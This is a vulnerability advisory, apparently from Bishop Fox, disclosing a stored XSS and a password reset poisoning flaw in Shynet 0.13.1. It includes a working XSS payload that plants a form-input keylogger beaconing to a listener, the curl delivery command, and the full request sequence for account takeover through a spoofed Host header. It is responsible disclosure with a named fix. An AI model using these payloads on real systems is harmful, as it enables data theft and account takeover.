The following document describes identified vulnerabilities in the Shynet application version 0.13.1.
Product Vendor
milesmcc
Product Description
Shynet is a web analytics platform that captures and displays standard tracking data. Shynet had approximately 3,100 GitHub stars, 206 forks, and 39 contributors which has made it a popular tool for self-hosted analytics. The project’s official repository is https://github.com/milesmcc/shynet. The latest version of the application is 0.14.0, released on March 15, 2026.
Vulnerabilities List
Two vulnerabilities were identified within the Shynet application:
- Stored Cross-Site Scripting
- Insecure Input Validation – Password Reset Feature
Affected Version
Version 0.13.1
Summary of Findings
Bishop Fox staff identified two vulnerabilities in milesmcc Shynet 0.13.1. The most severe issue was an unauthenticated stored cross-site scripting vulnerability that Bishop Fox staff used to add malicious JavaScript to all of the analytics tracking scripts in an example instance of Shynet. Additionally, Bishop Fox staff found a password reset poisoning vulnerability that enabled unauthenticated users to submit a password reset request with a spoofed Host header value.
Impact
The unauthenticated stored cross-site scripting vulnerability was leveraged to stealthily compromise every web application configured for analytics monitoring by the affected Shynet instance. Additionally, the password reset poisoning vulnerability was leveraged to obtain a valid cryptographic reset token if the victim clicks the link, resulting in an account takeover.
Solution
Update to version 0.14.0
Timeline
- 02/17/2026: Initial discovery
- 03/15/2026: Contact with vendor
- 03/15/2026: Vendor acknowledged vulnerabilities
- 03/15/2026: Vendor released patched version 0.14.0
- 06/18/2026: Vulnerabilities publicly disclosed
Credits
- Christopher Michell, Senior Security Consultant I, Bishop Fox ([email protected])
- Christopher Stover, Senior Security Consultant I, Bishop Fox ([email protected])
Shynet Version 0.13.1 — Vulnerabilities
Stored Cross-Site Scripting
The Shynet application was affected by two unauthenticated stored cross-site scripting (XSS) vulnerabilities. The location and referrer fields in analytics requests sent to Shynet’s tracking endpoint were stored verbatim in the database and later rendered without escaping each time an administrator viewed the affected service’s dashboard or locations page. The vulnerabilities could be exploited without authentication and used to perform a session-riding attack against administrators to add malicious JavaScript to all tracking scripts.
Vulnerability Details
CVE ID: CVE-2026-35508
Vulnerability Type: Cross-site scripting (XSS)
Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☐ Escalation of privileges, ☐ Information disclosure, ☒ Other (if other, please specify) – Modification of all tracking scripts across all Shynet services in the affected instance
Security Risk: ☒ Critical, ☐ High, ☐ Medium, ☐ Low
Vulnerability: CWE-79
Bishop Fox staff determined that Shynet was vulnerable to unauthenticated stored cross-site scripting and exploited the vulnerability to add malicious JavaScript to all tracking scripts.
Shynet's tracking ingress endpoint at /ingress/<SERVICE_UUID>/script.js accepted HTTP POST requests with JSON bodies from any origin without authentication. The request body contained fields that were stored in the database and later rendered in the administrative dashboard. Bishop Fox staff found that unauthenticated users could provide a malicious location or referrer value that executed JavaScript in the context of the viewing user's session.
A typical Shynet tracking POST request contained four values, as demonstrated in the following figure:
POST /ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js HTTP/1.1
…omitted for brevity…
{"idempotency":"cw91t9y6pntpe9al7ngt2","referrer":"http://tracked.com/refer.html","location":"http://tracked.com/","loadTime":75}
FIGURE 1 - POST request generated by Shynet’s script.js analytics script
The location and referrer fields were then displayed in the service dashboard:

FIGURE 2 - Unique location and referrer values rendered at /dashboard/services/<SERVICE_UUID>/
Additionally, the location value was also displayed on the Locations page:

FIGURE 3 - Unique location values rendered in dashboard
Bishop Fox staff set up a test environment that locally resolved the Shynet instance to example.com, then created a simulated shopping application that resolved locally to tracked.com. Bishop Fox staff then created a Shynet service named tracked.com, with UUID b0bd732a-0a76-4904-8b84-13d31f1786c1, and added the following HTML to the mock checkout page for tracked.com:
<noscript>
<img src="http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/pixel.gif">
</noscript>
<script defer src="http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js"></script>
FIGURE 4 - Loading the analytics script on the tracked.com mock checkout page
Bishop Fox staff demonstrated the issue by crafting a stored XSS payload that enumerated all Shynet service UUIDs, then injected a keylogger into every tracking script that sent form input from all tracked pages to a listener at http://127.0.0.1:9999, simulating a malicious server on the internet. To begin this process, Bishop Fox staff created a file named payload.json with the following content:
{
"idempotency": "keylogger_chain_001",
"location": "http://x' onfocus='fetch(`/dashboard/`).then(r=>r.text()).then(h=>{var d=new DOMParser().parseFromString(h,`text/html`);[...d.querySelectorAll(`a[href*=service]`)].filter(a=>a.href.match(/\\/service\\/[0-9a-f-]{36}\\/$/)).map(a=>a.href.match(/([0-9a-f-]{36})/)[1]).forEach(u=>{fetch(`/dashboard/service/`+u+`/manage/`).then(r=>r.text()).then(h2=>{var d2=new DOMParser().parseFromString(h2,`text/html`),f=new FormData(d2.querySelector(`form`));f.set(`script_inject`,`document.addEventListener(\"change\",function(e){var t=e.target;if(t.name&&t.value){new Image().src=\"http://127.0.0.1:9999/log?field=\"+t.name+\"&value=\"+encodeURIComponent(t.value)+\"&url=\"+encodeURIComponent(location.href)}})`);fetch(`/dashboard/service/`+u+`/manage/`,{method:`POST`,body:f,credentials:`same-origin`})})})})' autofocus=' tabindex='1",
"referrer": "http://tracked.com/refer.html",
"loadTime": 150
}
FIGURE 5 - JSON body with XSS payload in the location field
Next, Bishop Fox staff sent the malicious analytics request with the following command:
curl -X POST "http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js" -H "Content-Type: application/json" -d @payload.json
FIGURE 6 - Sending malicious tracking request
XSS payloads submitted in the location field would execute on the following pages:
/dashboard/services/<SERVICE_UUID>//dashboard/services/<SERVICE_UUID>/locations/
XSS payloads submitted in the referrer field would execute on the following page:
/dashboard/services/<SERVICE_UUID>/
Bishop Fox staff browsed to /dashboard/services/<SERVICE_UUID>/ as an authenticated administrator to trigger the first stage of the XSS payload. To demonstrate that the first stage had implanted the second stage as intended, staff browsed to /dashboard/services/<SERVICE_UUID>/manage/. The JavaScript keylogger that sent user-submitted form data to a separate listener was present in the Additional injected JS field, as shown in the following screenshot:

FIGURE 7 - Malicious JavaScript added to analytics script configuration
The example code shown earlier in this finding enumerated all Shynet services and added the same keylogger payload to every tracking script.
To demonstrate the impact of the modified tracking script, Bishop Fox staff simulated a malicious server on the internet by starting a local listener with the following command:
python3 -m http.server 9999 2>&1 | grep --line-buffered "field=" | sed 's/.*field=/field=/;s/ HTTP.*//'
FIGURE 8 - One-liner to start the listener on port 9999 and filter out irrelevant data
Next, Bishop Fox staff browsed to http://tracked.com/. The following screenshot shows a simulated checkout page that silently loaded the modified malicious script:

FIGURE 9 - Simulated tracked.com checkout page
After filling out all form fields on http://example.com, Bishop Fox staff viewed the data sent to the listener:

FIGURE 10 - Listener capturing form input from simulated checkout page
This proof of concept demonstrated how an attacker might leverage the unauthenticated stored XSS vulnerability in Shynet to stealthily compromise every web application configured for analytics monitoring by the affected Shynet instance.
Insecure Input Validation – Password Reset Feature
The Shynet application was affected by a password reset poisoning vulnerability that enabled unauthenticated users to submit a password reset request with a spoofed Host header value. The vulnerability could be exploited without authentication and used to craft a malicious password reset URL that would transmit the password reset token to the attacker when the victim clicked the link.
Vulnerability Details
CVE ID: CVE-2026-35507
Vulnerability Type:
Access Vector: ☒ Remote, ☐ Local, ☐ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☒ Other (if other, please specify) Insecure Input Validation
Security Risk: ☐ Critical, ☒ High, ☐ Medium, ☐ Low
Vulnerability: CWE-644
Bishop Fox staff determined that the Shynet password reset process used insecure business logic to handle the HTTP Host header. An attacker exploiting this vulnerability could cause a Shynet instance to send a password-reset email to an existing user that would provide the user’s password-reset token to the attacker if the user clicked on the link in the email or software automatically loaded the link.
Shynet used the django-allauth application for authentication, which constructed password reset URLs using Django's request.get_host method. Because Shynet was distributed with a default ALLOWED_HOSTS = * configuration (on line 41 of the file shynet/settings.py), Django did not validate the incoming Host header, allowing any value to pass through and be embedded into the password reset email.
The password reset email template in the file dashboard/templates/account/email/password_reset_key_message.txt operated inside an {% autoescape off %} block and referenced the value returned by the request.get_host function. The {{ password_reset_url }} variable was built by the django-allauth application using the request's Host header value to form the full URL, including the real verification token.
Shynet's default configuration used Django's console email backend (django.core.mail.backends.console.EmailBackend), which printed outgoing emails to the application's standard output rather than delivering them over SMTP. This was the default behavior when the EMAIL_HOST environment variable was not configured. In this default state, password reset emails were only visible in the container logs and are never actually sent to a recipient's email address, meaning the resulting email could not reach the intended recipient. However, a Shynet deployment configured to use an SMTP server (by setting the EMAIL_HOST, EMAIL_PORT, and related variables) would deliver the malicious email to the recipient’s email address, making the attack fully exploitable. The TEMPLATE.env file included commented-out placeholders for these SMTP settings, indicating that production Shynet instances were likely to have email delivery enabled.
To exploit this vulnerability, an attacker must first obtain a valid CSRF token cookie and CSRF middleware token value from the vulnerable Shynet instance by issuing an HTTP GET request to the password reset form with a spoofed Host header. Because Shynet was distributed with Django’s ALLOWED_HOSTS option set to *, Django will issue the necessary anti-CSRF values associated with the attacker's domain.
Bishop Fox staff obtained the necessary anti-CSRF values by connecting to the IP address of the Shynet instance and specified the DNS name of their own server (cstover-attacker.com). For example, if the IP address of the Shynet instance were 10.25.31.37, this step could be performed using the following curl command:
curl http://cstover-attacker.com/accounts/password/reset/ \
--resolve cstover-attacker.com:10.25.31.37
The following request/response pair shows the result of requesting the anti-CSRF values:
Request
GET /accounts/password/reset/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Host: cstover-attacker.com Connection: keep-alive
Response
HTTP/1.1 200 OK
Server: nginx/1.29.5
Date: Fri, 20 Feb 2026 16:23:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4202
Connection: keep-alive
X-Frame-Options: DENY
Vary: Cookie, Origin
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: csrftoken=SMQQyDuSEUctsqVCQiny82ngvoY52FAm; expires=Fri, 19 Feb 2027 16:23:17 GMT; Max-Age=31449600; Path=/; SameSite=Lax
…omitted for brevity…
<form method="POST" action="/accounts/password/reset/" class="password_reset max-w-lg">
<input type="hidden" name="csrfmiddlewaretoken" value="jXcdLzSDYa4j6OxJUodd2Shidv0m0JS51zST92clsU6Co4ibAwqB0KuoyJOhSeih">
…omitted for brevity…
The server response contained the necessary CSRF token cookie and middleware token, which were associated with the cstover-attacker.com domain by the vulnerable Shynet instance. Bishop Fox staff used the two values to submit a password reset request for the [email protected] account, as shown below:
Request
POST /accounts/password/reset/ HTTP/1.1 Referer: http://cstover-attacker.com/accounts/password/reset/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Host: cstover-attacker.com Cookie: csrftoken=SMQQyDuSEUctsqVCQiny82ngvoY52FAm Content-Length: 109 Connection: keep-alive csrfmiddlewaretoken=jXcdLzSDYa4j6OxJUodd2Shidv0m0JS51zST92clsU6Co4ibAwqB0KuoyJOhSeih&email=admin@shynet.local
Response
HTTP/1.1 302 Found Server: nginx/1.29.5 Date: Fri, 20 Feb 2026 16:24:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive Location: /accounts/password/reset/done/ X-Frame-Options: DENY Vary: Origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin
The HTTP 302 redirect confirmed the password reset was accepted and the email was dispatched. Bishop Fox staff then retrieved the email content from the Django console email backend in the Docker container logs. The malicious email contained the following body:
shynet_main | Subject: Password Reset Email shynet_main | From: Shynet <[email protected]> shynet_main | To: [email protected] shynet_main | Date: Fri, 20 Feb 2026 16:24:17 -0000 shynet_main | Message-ID: <177160465722.10.12999126178338255112@323067de2ffd> shynet_main | shynet_main | Hi there, shynet_main | shynet_main | You're receiving this email because you or someone else has requested a password for your account. shynet_main | shynet_main | This message can be safely ignored if you did not request a password reset. Click the link below to reset your password. shynet_main | shynet_main | http://cstover-attacker.com/accounts/password/reset/key/1-d4aqch-d1f0b2163e4dd357bed4849615f1a4d7/ shynet_main | shynet_main | Thank you, shynet_main | Shynet Review Instance shynet_main | -------------------------------------------------------------------------------
FIGURE 11 – Password reset email with link to malicious domain cstover-attacker.com and the real password reset token
As shown above, the reset link in the email contained a link to http://cstover-attacker.com/ of the legitimate Shynet instance, yet it contained a valid password reset token. If the recipient opened the URL, their browser would send the token to the malicious server. Email security scanning and link preview systems could cause this link to be automatically loaded even if the recipient didn’t open the URL.
Bishop Fox staff emulated the recipient opening the URL, then captured the request to the malicious cstover-attacker.com domain, extracted the password reset link, replaced the host name in the URL with the host name of the real Shynet instance, and loaded the resulting link, as shown below:
Request
GET /accounts/password/reset/key/1-d4aq6c-9ad4e02825db0717aeb1d5ed79f30f9f/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.7705 Host: 10.88.88.40:8085 Connection: keep-alive
Response
HTTP/1.1 302 Found Server: nginx/1.29.5 Date: Fri, 20 Feb 2026 16:43:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive Location: /accounts/password/reset/key/1-set-password/ X-Frame-Options: DENY Vary: Origin, Cookie X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Set-Cookie: sessionid=9hmscs47g1g4nzwi3vywknwow0p7hyen; expires=Fri, 06 Mar 2026 16:43:42 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
Following the redirect provided Bishop Fox staff with this page:

Bishop Fox staff set the password to bishopfox123, as shown in the following request and response pair:
Request
POST /accounts/password/reset/key/1-set-password/ HTTP/1.1 Host: localhost:8085 Cookie: sessionid=6ma0x29gpkqtsrvmh6mifwg32ldzm4tb; csrftoken=5g3ZnEFyLlpeZlXvsidZBoYXy017zYjuVDozPNrtzPlh44MOpahIhaUgNRuCnCY3 Content-Type: application/x-www-form-urlencoded Referer: http://localhost:8085/accounts/password/reset/key/1-set-password/ csrfmiddlewaretoken=5g3ZnEFyLlpeZlXvsidZBoYXy017zYjuVDozPNrtzPlh44MOpahIhaUgNRuCnCY3&password1=bishopfox123&password2=bishopfox123
Response
HTTP/1.1 302 Found Server: nginx/1.29.5 Date: Tue, 10 Mar 2026 14:25:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Location: /accounts/password/reset/key/done/ X-Frame-Options: DENY Vary: Origin, Cookie X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Set-Cookie: messages=W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlBhc3N3b3JkIHN1Y2Nlc3NmdWxseSBjaGFuZ2VkLiIsIiJdXQ:1vzy1c:O3rkmGz0ZA_IjtWGqA2UPgKPW72I0B7F5gZD2rN4mTw; HttpOnly; Path=/; SameSite=Lax
The messages cookie in the response decoded to “Password successfully changed”, as shown below:
$ echo -n "W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlBhc3N3b3JkIHN1Y2Nlc3NmdWxseSBjaGFuZ2VkLiIsIiJdXQ" | base64 -d [["__json_message",0,25,"Password successfully changed.",""]]
FIGURE 13 – Decoding the base64 encoded messages cookie.
Finally, Bishop Fox staff logged into the application with the new password which is demonstrated in the below request and response pair:
Request
POST /accounts/login/ HTTP/1.1 Host: localhost:8085 Cookie: csrftoken=…omitted for brevity… Content-Type: application/x-www-form-urlencoded Referer: http://localhost:8085/accounts/login/ csrfmiddlewaretoken=…omitted for brevity…[email protected]&password=bishopfox123
Response
HTTP/1.1 302 Found Server: nginx/1.29.5 Date: Tue, 10 Mar 2026 14:25:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Location: / X-Frame-Options: DENY Vary: Cookie, Origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Set-Cookie: messages=W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlN1Y2Nlc3NmdWxseSBzaWduZWQgaW4gYXMgYWRtaW5Ac2h5bmV0LmxvY2FsLiIsIiJdXQ:1vzy1k:zTf2NueyiuVxdjL5Ve6bv0ZBmsUcmf6WiPy0MxrWW0Y; HttpOnly; Path=/; SameSite=Lax Set-Cookie: csrftoken=ExXKYxal9GlJusp87LILLAUw2HV9BthR; expires=Tue, 09 Mar 2027 14:25:40 GMT; Max-Age=31449600; Path=/; SameSite=Lax Set-Cookie: sessionid=pglmweoy9uzifs35sv3adm828ru7qnw2; HttpOnly; Path=/; SameSite=Lax
After logging into the application with the new password, the messages cookie in the response decoded to “Successfully signed in as [email protected]”, as shown below:
$ echo -n "W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlN1Y2Nlc3NmdWxseSBzaWduZWQgaW4gYXMgYWRtaW5Ac2h5bmV0LmxvY2FsLiIsIiJdXQ " | base64 -d [["__json_message",0,25,"Successfully signed in as [email protected].",""]]
FIGURE 14 – Decoding messages cookie
This vulnerability was particularly severe because it required no authentication, and it potentially enabled an attacker to take over an administrative account.
Subscribe to our blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
Recommended Posts